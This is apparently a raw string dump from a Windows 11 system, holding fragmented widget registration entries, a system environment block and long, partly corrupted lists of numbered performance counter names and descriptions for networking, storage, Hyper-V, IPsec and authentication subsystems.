Dashboard\StaticWidgetRegistrations\images\placeholder_image_small_light.svg @DisplayAltText Money Screenshot com.msn.photos @DisplayName ms-resource:com_msn_photos_title @Description Photos Widget Description @AllowMultiple false Capabilities Capability Size @Name medium Size @Name large ThemeResources Icons Icon @Path Dashboard\StaticWidgetRegistrations\images\photos_icon.svg Screenshots Screenshot @Path Dashboard\StaticWidgetRegistrations\images\photos_placeholder_med_light.svg @DisplayAltText Photos Screenshot com.msn.sports @DisplayName ms-resource:com_msn_sports_title @Description Sports Widget Description @AllowMultiple false Capabilities Capability Size @Name small inition com.microsoft.calendar @DisplayName ms-resource:com_microsoft_calendar_title @Description Calendar Widget Description @AllowMultiple false Capabilities Capability Size @Name medium Size @Name large ThemeResources Icons Icon @Path Dashboard\StaticWidgetRegistrations\images\calendar-icon.svg Screenshots Screenshot @Path Dashboard\StaticWidgetRegistrations\images\calendar-light-small.svg @DisplayAltText Calendar Screenshot com.microsoft.microsoft365 @DisplayName ms-resource:com_microsoft_microsoft365_title @Description Microsoft 365 Widget Description @AllowMultiple false Capabilities Capability Size @Name small Size @Name medium Size @Name large ThemeResources Icons Icon @Path Dashboard\StaticWidgetRegistrations\images\microsoftfeed_icon.svg Screenshots Screenshot @Path Dashboard\StaticWidgetRegistrations\images\Light_FeedShimmer_M.svg @DisplayAltText Microsoft 365 Screenshot com.microsoft.tips @DisplayName ms-resource:com_microsoft_tips_title @Description Tips Widget Description @AllowMultiple false Capabilities Capability Size @Name small Size @Name medium Size @Name large ThemeResources Icons Icon @Path Dashboard\StaticWidgetRegistrations\images\tips-icon.svg Screenshots Screenshot @Path Dashboard\StaticWidgetRegistrations\images\tips-preload-small-Lt.svg @DisplayAltText Tips Screenshot com.microsoft.todo @DisplayName ms-resource ault sembly> urn:schemas-microsoft-com:asm.v3 3++S stemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERDOMAIN=WORKGROUP USERNAME=WINDOWS11$ USERPROFILE=C:\WINDOWS\system32\config\systemprofile windir=C:\WINDOWS C:\WINDOWS \??\C:\WINDOWS\system32\conhost.exe \??\C:\WINDOWS\system32\conhost.exe 0x4 ffffff -ForceV1 ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public ardTcbRemoved 12730 InetDiscardFinWait2 12732 InetDiscardReassemblyConflict 12734 InetDiscardFinReceived 12736 InetDiscardListenerInvalidFlags 12738 InetDiscardUrgentDeliveryAllocationFailure 12740 InetDiscardTcbNotInTcbTable 12742 InetDiscardTimeWaitTcbReceivedRstOutsideWindow 12744 InetDiscardTimeWaitTcbSynAndOtherFlags 12746 InetDiscardTimeWaitTcb 12748 InetDiscardSynAckWithFastopenCookieRequest 12750 InetDiscardPauseAccept 12752 InetDiscardSynAttack 12754 InetDiscardAcceptInspection 12756 InetDiscardAcceptRedirection 12614 TCPIP Performance Diagnostics (Per-CPU) 12616 TCP current connections 12522 TCPIP Performance Diagnostics 12524 IPv4 NBLs indicated with low-resource flag 12526 IPv4 NBLs/sec indicated with low-resource flag 12528 IPv6 NBLs indicated with low-resource flag 12530 IPv6 NBLs/sec indicated with low-resource flag 12532 IPv4 NBLs indicated without prevalidation 12534 IPv4 NBLs/sec indicated without prevalidation 12536 IPv6 NBLs indicated without prevalidation 12538 IPv6 NBLs/sec indicated without prevalidation 12540 IPv4 NBLs treated as non-prevalidated 12542 IPv4 NBLs/sec treated as non-prevalidated 12544 IPv6 NBLs treated as non-prevalidated 12546 IPv6 NBLs/sec treated as non-prevalidated 12548 IPv4 outbound NBLs not processed via fast path 12550 IPv4 outbound NBLs/sec not processed via fast path 12552 IPv6 outbound NBLs not processed via fast path 12554 IPv6 outbound NBLs/sec not processed via fast path 12556 TCP inbound segments not processed via fast path 12558 TCP inbound segments/sec not processed via fast path 12560 TCP connect requests fallen off loopback fast path 12562 TCP connect requests/sec fallen off loopback fast path 12564 Denied connect or send requests in low-power mode 12566 TCP checksum errors 12568 TCP timeouts 12570 RSC segments forwarded via LSO 12572 RSC segments forwarded via software segmentation 12574 RSC segments forwarded via software segmentation and checksum 12576 RSC segment forwarding failures during software segmentation 12578 UDP datagrams created via software segmentation 12580 UDP URO events 12582 UDP URO bytes received 12584 TCP RSC events 12586 TCP RSC bytes received 12588 URO segments forwarded via software segmentation 12590 URO segments forwarded via software segmentation and checksum 12592 URO segment forwarding failures during software segmentation 12594 TCP loss recovery episodes 12596 TCP successful loss recovery episodes 12598 Bytes of lost retransmits retransmitted 12600 URO segmentations for raw sockets 12602 URO segmentation failures for raw sockets 12604 Number of SACK blocks dropped 12606 Number of TCP RX fast path batches inspected 12608 Number of TCP RX fast path batches not inspected 12610 Number of USO packets segmented in software 12612 Number of USO packets segmented and checksummed in software 6966 WinNAT UDP 6968 NumberOfSessions 6970 NumberOfBindings 6972 NumIntToExtTranslations 6974 NumExtToIntTranslations 6976 NumPacketsDropped 6978 NumSessionsTimedOut 7024 WinNAT Instance 7026 TCP Ports In Use 7028 TCP Ports Available 7030 UDP Ports In Use 7032 UDP Ports Available 6952 WinNAT TCP 6954 NumberOfSessions 6956 NumberOfBindings 6958 NumIntToExtTranslations 6960 NumExtToIntTranslations 6962 NumPacketsDropped 6964 NumSessionsTimedOut 6994 WinNAT 6996 Sessions/sec 6998 Current Session Count 7000 Packets/sec Internal to External 7002 Packets Internal to External 7004 Packets/sec External to Internal 7006 Packets External to Internal 7008 Dropped Packets/sec 7010 Dropped Packets 7012 Dropped ICMP error packets/sec 7014 Dropped ICMP error packets 7016 Inter-RoutingDomain Hairpinned Packets/sec 7018 Inter-RoutingDomain Hairpinned Packets 7020 Intra-RoutingDomain Hairpinned Packets/sec 7022 Intra-RoutingDomain Hairpinned Packets 6980 WinNAT ICMP 6982 NumberOfSessions 6984 NumberOfBindings 6986 NumIntToExtTranslations 6988 NumExtToIntTranslations 6990 NumPacketsDropped 6992 NumSessionsTimedOut 14022 Firewall Rules by Store 14024 Group Policy RSoP Store 14026 Local Store 14028 Dynamic Store 14030 GPO Store 14032 Defaults Store 14034 WSH Static Store 14036 Bytes/sec 6808 Storage Spaces Write Cache 6810 Cache Checkpoints 6812 Cache Destages (Current) 6814 Cache Advances 6816 Cache (Data) Bytes 6818 Cache (Data) % 6820 Cache (Reclaimable) Bytes 6822 Cache (Reclaimable) % 6824 Cache (Used) Bytes 6826 Cache (Used) % 6828 Cache Size 6830 Evict Cache Bytes/sec 6832 Evict Cache (Destaged) Bytes/sec 6834 Evict Cache (Destaged) % 6836 Evict Cache (Overwrite) Bytes/sec 6838 Evict Cache (Overwrite) % 6840 Read Bypass Bytes/sec 6842 Read Bypass % 6844 Read Cache Bytes/sec 6846 Read Cache % 6848 Write Bypass Bytes/sec 6850 Write Bypass % 6852 Write Cache Bytes/sec 6854 Write Cache % 6856 Write Cache (Unaligned) Bytes/sec 6858 Write Cache (Unaligned) % 6860 Write Cache (Untrimmed) Bytes/sec 6862 Write Cache (Untrimmed) % 6864 Write Cache (Overlap) Bytes/sec 6866 Write Cache (Overlap) % 6868 Cache Checkpoint Latency (ms) 6870 Vdt Checkpoint Latency (ms) 6872 Destage Read Failure Count 6874 Destage Write Failure Count 6768 Storage Spaces Tier 6770 Tier Reads/sec 6772 Tier Read Latency 6774 Tier Reads (Average) 6776 Tier Read Bytes/sec 6778 Tier Read Bytes (Average) 6780 Tier Writes/sec 6782 Tier Write Latency 6784 Tier Writes (Average) 6786 Tier Write Bytes/sec 6788 Tier Write Bytes (Average) 6790 Tier Transfers (Current) 6792 Tier Transfers/sec 6794 Tier Transfer Latency 6796 Tier Transfers (Average) 6798 Tier Transfer Bytes/sec 6800 Tier Transfer Bytes (Average) 6802 Tier Reads 6804 Tier Writes 6806 Tier Transfers 6890 Storage Spaces Drt 6892 Clean Count 6894 Clean Bytes 6896 Dirty Count 6898 Dirty Bytes 6900 Flushing Count 6902 Flushing Bytes 6904 Flushed Count 6906 Flushed Bytes 6908 Synchronizing Count 6910 Synchronizing Bytes 6912 Limit 2136 ReFS Bucketized Performance 2138 1: Total Operations Count 2140 2: Total time [ns] for all operations 2142 3: Total bytes for all operations 2144 4: Count bucket 01: <= 128 2146 4: Count bucket 02: <= 256 2148 4: Count bucket 03: <= 512 2150 4: Count bucket 04: <= 1 ms 2152 4: Count bucket 05: <= 4 ms 2154 4: Count bucket 06: < Completi 3++S++ AuthIP Quick Mode Negotiation Time is the number of milliseconds taken for the last Authenticated IP quick mode security association negotiated. 11701 Extended Mode Negotiation Time is the number of milliseconds taken for the last extended mode security association negotiated. 11703 Packets Received per Second is the rate at which validated IPsec packets are being received. 11705 Invalid Packets Received per Second is the rate at which invalid IPsec packets are being received. 11707 Successful Negotiations is the number of negotiations completed for IKEv1, AuthIP, and IKEv2 since IPsec was last started. 11709 Successful Negotiations per Second is the rate of negotiations completed for IKEv1, AuthIP, and IKEv2. 11711 Failed Negotiations is the number of failed negotiations for IKEv1, AuthIP, and IKEv2 since IPsec was last started. 11713 Failed Negotiations per Second is the rate of failed negotiations attempted for IKEv1, AuthIP, and IKEv2. 11715 IKEv2 Main Mode Negotiation Time is the number of milliseconds taken for the last IKEv2 main mode security association negotiated. 11717 IKEv2 Quick Mode Negotiation Time is the number of milliseconds taken for the last IKEv2 quick mode security association negotiated. 11719 IPsec IKEv2 IPv4 is the set of Internet Protocol security (IPsec) Internet Key Exchange version 2 (IKEv2) counters that apply to traffic and connections over Internet Protocol version 4. 11721 Active Main Mode SAs is the number of currently active main mode security associations. 11723 Pending Main Mode Negotiations is the number of pending main mode negotiations. 11725 Main Mode Negotiations is the number of main mode negotiations attempted since IPsec was last started. 11727 Main Mode Negotiations per Second is the rate at which main mode negotiations are being attempted. 11729 Successful Main Mode Negotiations is the number of main mode negotiations completed since IPsec was last started. 11731 Successful Main Mode Negotiations per Second is the rate of main mode negotiations completed. 11733 _LAYER_IPSEC_V6 FWPM_LAYER_IKEEXT_V4 FWPM_LAYER_IKEEXT_V6 FWPM_LAYER_RPC_UM FWPM_LAYER_RPC_EPMAP FWPM_LAYER_RPC_EP_ADD FWPM_LAYER_RPC_PROXY_CONN FWPM_LAYER_RPC_PROXY_IF FWPM_LAYER_KM_AUTHORIZATION Sum total size of filters in all layers the nu ets received that failed UDP-ESP validation (used for NAT traversal) since the computer was last started. Packets That Failed UDP-ESP Validation per Second is the rate of packets received that failed UDP-ESP validation (used for NAT traversal) since the computer was last started. Packets Received Over Wrong SA is the number of packets received over the wrong security association since the computer was last started. Packets Received Over Wrong SA per Second is the rate of packets received over the wrong security association since the computer was last started. Plaintext Packets Received is the number of clear text packets received since the computer was last started. Plaintext Packets Received per Second is the rate of clear text packets received since the computer was last started. Total Inbound Packets Received is the total number of inbound packets successfully processed by IPsec, since the computer was last started. Inbound Pac ved pe sfully proP ed is thP f in d packets dr@ d by IPsec, since the comp er was last started. Inbound Packets Dropped e virtual processor. 14299 The average time (in nanoseconds) spent processing a CPUID instruction. 14301 The rate of MSR instructions executed by guest code on the virtual processor. 14303 The average time (in nanoseconds) spent processing an MSR instruction. 14305 The rate of other intercepts triggered by guest code on the virtual processor. 14307 The average time (in nanoseconds) spent processing other intercepts. 14309 The rate of external interrupts received by the hypervisor while executing guest code on the virtual processor. 14311 The average time (in nanoseconds) spent processing an external interrupt. 14313 The rate of intercepts due to a task priority (TPR) reduction by guest code on the virtual processor. 14315 The average time (in nanoseconds) spent processing a pending interrupt intercept. 14317 The rate of emulated instructions while executing guest code on the virtual processor. 14319 The average time (in nanoseconds) spent emulating an instruction. 14321 The rate of debug register accesses by guest code on the virtual processor. 14323 The average time (in nanoseconds) spent handling a debug register access. 14325 The rate of page fault exceptions intercepted by the hypervisor while executing guest code on the virtual processor. 14327 The average time (in nanoseconds) spent processing a page fault intercept. 14329 The rate of map operations for guest page table pages. 14331 The rate of virtual TLB misses on large pages. 14333 The rate of virtual TLB misses on 4K pages. 14335 The rate of page fault exceptions delivered to the guest. 14337 The rate of APIC MMIO register accesses by guest code on the virtual processor. 14339 The rate of IO intercept messages sent to the parent partition. 14341 The rate of memory intercept messages sent to the parent partition. 14343 The rate of APIC EOI register writes by guest code on the virtual processor. 14345 The rate of other intercept messages sent to the parent partition. 14347 The rate of page table allocations in the virtual TLB. 14349 The rate of migrationsrupts. 14241 The number of timer interrupts skipped for the partition. 14243 The hypervisor partition ID for the partition 14245 The number of pages deposited for the nested TLB. 14247 The recommended number of pages to be deposited for the nested TLB. 14249 The number of free pages in the nested TLB. 14251 The rate of pages trimmed from the nested TLB. 14253 The rate of pages shattered 14255 The rate of pages recombined 14257 The effective CPPC request value for the partition. 14259 The total number of flushes of I/O TLBs of the partition. 14261 Information on virtual processors 14263 The total time (in 100ns) spent by the virtual processor in guest and hypervisor code. 14265 The total time (in 100ns) spent by the virtual processor in hypervisor code. 14267 The time (in 100ns) spent running on remote node(s). 14269 The total time (in 100ns) spent by the virtual processor in guest and hypervisor code, normalized to peak frequency. 14271 The index of the ideal logical processor for this virtual processor. 14273 The rate of hypercalls made by guest code on the virtual processor. 14275 The average time (in nanoseconds) spent processing a hypercall. 14277 The rate of INVLPG instructions executed by guest code on the virtual processor. 14279 The average time (in nanoseconds) spent processing an INVLPG instruction. 14281 The rate of control register accesses by guest code on the virtual processor. 14283 The average time (in nanoseconds) spent processing a control register access. 14285 The rate of IO instructions executed by guest code on the virtual processor. 14287 The average time (in nanoseconds) spent processing an IO instruction. 14289 The rate of HLT instructions executed by guest code on the virtual processor. 14291 The average time (in nanoseconds) spent processing a HLT instruction. 14293 The rate of MWAIT instructions executed by guest code on the virtual processor. 14295 The average time (in nanoseconds) spent processing an MWAIT instruction. 14297 The rate of CPUID instructions executed by guest code on th idle transitions. 14067 Cycles for Hypervisor Startup on the bootstrap processor. 14069 The number of I/O space pages in the hypervisor 14071 The number of deposited pages that can be excluded from a dump. 14073 The number of deposited pages that were subsumed. 14193 Information on virtual machines 14195 The number of virtual processors present in the partition. 14197 The number of pages used by the virtual TLB of the partition. 14199 The number of address spaces in the virtual TLB of the partition. 14201 The number of pages deposited into the partition. 14203 The number of pages present in the GPA space of the partition (zero for root partition). 14205 The rate of modifications to the GPA space of the partition. 14207 The rate of flushes of the entire virtual TLB. 14209 The recommended number of pages to be deposited for the virtual TLB. 14211 The number of 4K pages present in the GPA space of the partition. 14213 The number of 2M pages present in the GPA space of the partition. 14215 The number of 1G pages present in the GPA space of the partition. 14217 The number of 512G pages present in the GPA space of the partition. 14219 The number of 4K pages present in the device space of the partition. 14221 The number of 2M pages present in the device space of the partition. 14223 The number of 1G pages present in the device space of the partition. 14225 The number of 512G pages present in the device space of the partition. 14227 The number of devices attached to the partition. 14229 The number of device interrupt mappings used by the partition. 14231 The rate of flushes of I/O TLBs of the partition. 14233 The average time (in nanoseconds) spent processing an I/O TLB flush. 14235 An indicator of illegal interrupt requests generated by all devices assigned to the partition. 14237 An indicator of illegal DMA requests generated by all devices assigned to the partition. 14239 The number of times an interrupt from a device assigned to the partition was temporarily throttled because the device was generating too many inter. 14139 The rate of hypervisor immediate L1 data cache flushes. 14141 The rate of hypervisor microarchitectural buffer flushes. 14143 Sequence number which is incremented when performance counter refresh begins and ends. 14145 Reference time when performance counters were last refreshed. 14147 Counter that accumulates idle time (in 100ns). Updated when performance counters are refreshed. 14149 Counter that accumulates TSC counts for active periods. Updated when performance counters are refreshed. 14151 The rate of hypervisor CPPC request context switches. 14153 Placeholder counter. 14155 Placeholder counter. 14157 Placeholder counter. 14159 Placeholder counter. 14161 Placeholder counter. 14163 Placeholder counter. 14165 Placeholder counter. 14167 Placeholder counter. 14169 Placeholder counter. 14171 The number of threads on the local run list of the processor. 14173 The Group ID that has reserved the LP as part of its Idle Reserves. 14175 The Running Priority of the LP. 14177 The rate of performance monitoring interrupts encountered on this logical procesor 14179 The total time (in 100ns) spent by the processor in guest code. 14181 The total time (in 100ns) spent by the processor in an idle state. 14183 The percentage of time spent by the processor in guest and hypervisor code. 14185 The percentage of time spent by the processor in hypervisor code. 14187 The percentage of time spent by the processor in guest code. 14189 The percentage of time spent by the processor in an idle state. 14191 The rate of hardware and hypervisor interrupts/sec. 14051 Information on the hypervisor. 14053 The number of logical processors present in the system. 14055 The number of partitions (virtual machines) present in the system. 14057 The number of bootstrap and deposited pages in the hypervisor. 14059 The number of virtual processors present in the system. 14061 The number of monitored notifications registered with the hypervisor. 14063 The number of modern/connected standby entry notifications received. 14065 The number of platformvered to the processor. 14089 The rate of hypervisor scheduler interrupts on the processor. 14091 The rate of hypervisor timer interrupts on the processor. 14093 The rate of hypervisor inter-processor interrupts sent by the processor. 14095 The rate of entries into a halt state by the processor. 14097 The hardware cost of transitions into the hypervisor. 14099 The total time (in nanoseconds) spent switching between virtual processors. 14101 C1 Transitions/sec is the rate that CPU enters the C1 l ower idle state. 1 Time/ ssor nds in the C1 low-po/ ime is a subset of the tot centage of t ote peer. 6349 These counters track authentication performance on a per second basis. 6351 This counter tracks the number of NTLM authentications processed per second for the AD on this DC or for local accounts on this member server. 6353 This counter tracks the number of times that clients use a ticket to authenticate to this computer per second. 6355 This counter tracks the number of Authentication Service (AS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use AS requests to obtain a ticket-granting ticket. 6357 This counter tracks the number of ticket-granting service (TGS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use these TGS requests to obtain a service ticket, which allows a client to access resources on other computers. 6359 This counter tracks the number of Secure Sockets Layer (SSL) entries that are currently stored in the secure channel (Schannel) session cache. The Schannel session cache stores information about successfully established sessions, such as SSL session IDs. Clients can use this information to reconnect to a server without performing a full SSL handshake. 6361 This counter tracks the number of Secure Sockets Layer (SSL) entries that are currently stored in the secure channel (Schannel) session cache and that are currently in use. The Schannel session cache stores information about successfully established sessions, such as SSL session IDs. Clients can use this information to reconnect to a server without performaing a full SSL handshake. 6363 This counter tracks the number of Secure Sockets Layer (SSL) full client-side handshakes that are being processed per second. During a handshake, signals are exchanged to acknowledge that communication can occur between computers or other devices. 6365 This counter tracks the number of Secure Sockets Layer (SSL) client-side reconnect handshakes that are being processed per second. Reconnect handshakes allow session keys from previous SSL sessions to bE_V4 12391 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 12393 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 12395 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 12397 FWPM_LAYER_ALE_BIND_REDIRECT_V4 12399 FWPM_LAYER_ALE_BIND_REDIRECT_V6 12401 FWPM_LAYER_STREAM_PACKET_V4 12403 FWPM_LAYER_STREAM_PACKET_V6 12405 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 12407 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 12409 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 12411 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 12413 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 12415 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 12417 FWPM_LAYER_INBOUND_TRANSPORT_FAST 12419 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 12421 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 12423 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 12425 FWPM_LAYER_INBOUND_RESERVED2 12427 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 12429 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 12431 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 12433 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 12435 FWPM_LAYER_IPSEC_KM_DEMUX_V4 12437 FWPM_LAYER_IPSEC_KM_DEMUX_V6 12439 FWPM_LAYER_IPSEC_V4 12441 FWPM_LAYER_IPSEC_V6 12443 FWPM_LAYER_IKEEXT_V4 12445 FWPM_LAYER_IKEEXT_V6 12447 FWPM_LAYER_RPC_UM 12449 FWPM_LAYER_RPC_EPMAP 12451 FWPM_LAYER_RPC_EP_ADD 12453 FWPM_LAYER_RPC_PROXY_CONN 12455 FWPM_LAYER_RPC_PROXY_IF 12457 FWPM_LAYER_KM_AUTHORIZATION 12459 Sum total size of filters in all layers 4723 The set of Counters for Authorization Manager application object 4725 Shows the total number of scopes in the application 4727 Shows the number of scopes that are currently loaded in memory 6343 These counters track the number of security resources and handles used per process. 6345 This counter tracks the number of credential handles in use by a given process. Credential handles are handles to pre-existing credentials, such as a password, that are associated with a user and are established through a system logon. 6347 This counter tracks the number of context handles in use by a given process. Context handles are associated with security contexts established between a client application and a rem12293 FWPM_LAYER_OUTBOUND_TRANSPORT_V4 12295 FWPM_LAYER_OUTBOUND_TRANSPORT_V4_DISCARD 12297 FWPM_LAYER_OUTBOUND_TRANSPORT_V6 12299 FWPM_LAYER_OUTBOUND_TRANSPORT_V6_DISCARD 12301 FWPM_LAYER_STREAM_V4 12303 FWPM_LAYER_STREAM_V4_DISCARD 12305 FWPM_LAYER_STREAM_V6 12307 FWPM_LAYER_STREAM_V6_DISCARD 12309 FWPM_LAYER_DATAGRAM_DATA_V4 12311 FWPM_LAYER_DATAGRAM_DATA_V4_DISCARD 12313 FWPM_LAYER_DATAGRAM_DATA_V6 12315 FWPM_LAYER_DATAGRAM_DATA_V6_DISCARD 12317 FWPM_LAYER_INBOUND_ICMP_ERROR_V4 12319 FWPM_LAYER_INBOUND_ICMP_ERROR_V4_DISCARD 12321 FWPM_LAYER_INBOUND_ICMP_ERROR_V6 12323 FWPM_LAYER_INBOUND_ICMP_ERROR_V6_DISCARD 12325 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4 12327 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4_DISCARD 12329 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6 12331 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6_DISCARD 12333 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4 12335 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4_DISCARD 12337 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6 12339 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6_DISCARD 12341 FWPM_LAYER_ALE_AUTH_LISTEN_V4 12343 FWPM_LAYER_ALE_AUTH_LISTEN_V4_DISCARD 12345 FWPM_LAYER_ALE_AUTH_LISTEN_V6 12347 FWPM_LAYER_ALE_AUTH_LISTEN_V6_DISCARD 12349 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 12351 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4_DISCARD 12353 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6 12355 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6_DISCARD 12357 FWPM_LAYER_ALE_AUTH_CONNECT_V4 12359 FWPM_LAYER_ALE_AUTH_CONNECT_V4_DISCARD 12361 FWPM_LAYER_ALE_AUTH_CONNECT_V6 12363 FWPM_LAYER_ALE_AUTH_CONNECT_V6_DISCARD 12365 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 12367 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4_DISCARD 12369 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6 12371 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6_DISCARD 12373 FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET 12375 FWPM_LAYER_OUTBOUND_MAC_FRAME_ETHERNET 12377 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE 12379 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE 12381 FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 12383 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 12385 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 12387 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 12389 FWPM_LAYER_ALE_ENDPOINT_CLOSURked by the Windows Filtering Platform since the computer was last started. 11409 Inbound Connections Blocked per Second is the rate at which inbound connections are being blocked by the Windows Filtering Platform. 11411 Outbound Connections Blocked per Second is the rate at which outbound connections are being blocked by the Windows Filtering Platform. 11413 Inbound Connections Allowed per Second is the rate at which inbound connections are being allowed by the Windows Filtering Platform. 11415 Outbound nections Allowed hich outbound connec ng PlaL orm sinc e computer/ as last 11419/ utbound bound connection orm siL e the co evices. 6365 This counter tracks the number of Secure Sockets Layer (SSL) client-side reconnect handshakes that are being processed per second. Reconnect handshakes allow session keys from previous SSL sessions to be used to resume a client/server connection, and they require less memory to process than full handshakes. 6367 This counter tracks the number of Secure Sockets Layer (SSL) full server-side handshakes that are being processed per second. During a handshake, signals are exchanged to acknowledge that communication can occur between computers or other devices. 6369 This counter tracks the number of Secure Sockets Layer (SSL) server-side reconnect handshakes that are being processed per second. Reconnect handshakes allow session keys from previous SSL sessions to be used to resume a client/server connection, and they require less memory to process than full handshakes. 6371 This counter tracks the number of Digest authentications that are being processed per second. 6373 This counter tracks the number of Kerberos requests that a read-only domain controller (RODC) forwards to its hub, per second. This counter is tracked only on a RODC. 6375 This counter tracks the number of armored Authentication Service (AS) requests that are being processed by the Key Distribution Center (KDC) per second. 6377 This counter tracks the number of armored ticket-granting service (TGS) requests that are being processed by the Key Distribution Center (KDC) per second. 6379 This counter tracks the number of Authentication Service (AS) requests explicitly requesting claims that are being processed by the Key Distribution Center (KDC) per second. 6381 This counter tracks the number of service asserted identity (S4U2Self) TGS requests that are explicitly requesting claims. These requests are being processed by the Key Distribution Center (KDC) per second. 6383 This counter tracks the number of constrained delegation (S4U2Proxy) TGS requests that are being processed by the Key Distribution Center (KDC) by checking classic type cshed through a system logon. 6347 This counter tracks the number of context handles in use by a given process. Context handles are associated with security contexts established between a client application and a remote peer. 6349 These counters track authentication performance on a per second basis. 6351 This counter tracks the number of NTLM authentications processed per second for the AD on this DC or for local accounts on this member server. 6353 This counter tracks the number of times that clients use a ticket to authenticate to this computer per second. 6355 This counter tracks the number of Authentication Service (AS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use AS requests to obtain a ticket-granting ticket. 6357 This counter tracks the number of ticket-granting service (TGS) requests that are being processed by the Key Distribution Center (KDC) per second. Clients use these TGS requests to obtain a service ticket, which allows a client to access resources on other computers. 6359 This counter tracks the number of Secure Sockets Layer (SSL) entries that are currently stored in the secure channel (Schannel) session cache. The Schannel session cache stores information about successfully established sessions, such as SSL session IDs. Clients can use this information to reconnect to a server without performing a full SSL handshake. 6361 This counter tracks the number of Secure Sockets Layer (SSL) entries that are currently stored in the secure channel (Schannel) session cache and that are currently in use. The Schannel session cache stores information about successfully established sessions, such as SSL session IDs. Clients can use this information to reconnect to a server without performaing a full SSL handshake. 6363 This counter tracks the number of Secure Sockets Layer (SSL) full client-side handshakes that are being processed per second. During a handshake, signals are exchanged to acknowledge that communication can occur between computers or other d_FRAME_NATIVE 12381 FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 12383 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 12385 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 12387 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 12389 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 12391 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 12393 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 12395 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 12397 FWPM_LAYER_ALE_BIND_REDIRECT_V4 12399 FWPM_LAYER_ALE_BIND_REDIRECT_V6 12401 FWPM_LAYER_STREAM_PACKET_V4 12403 FWPM_LAYER_STREAM_PACKET_V6 12405 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 12407 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 12409 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 12411 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 12413 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 12415 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 12417 FWPM_LAYER_INBOUND_TRANSPORT_FAST 12419 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 12421 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 12423 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 12425 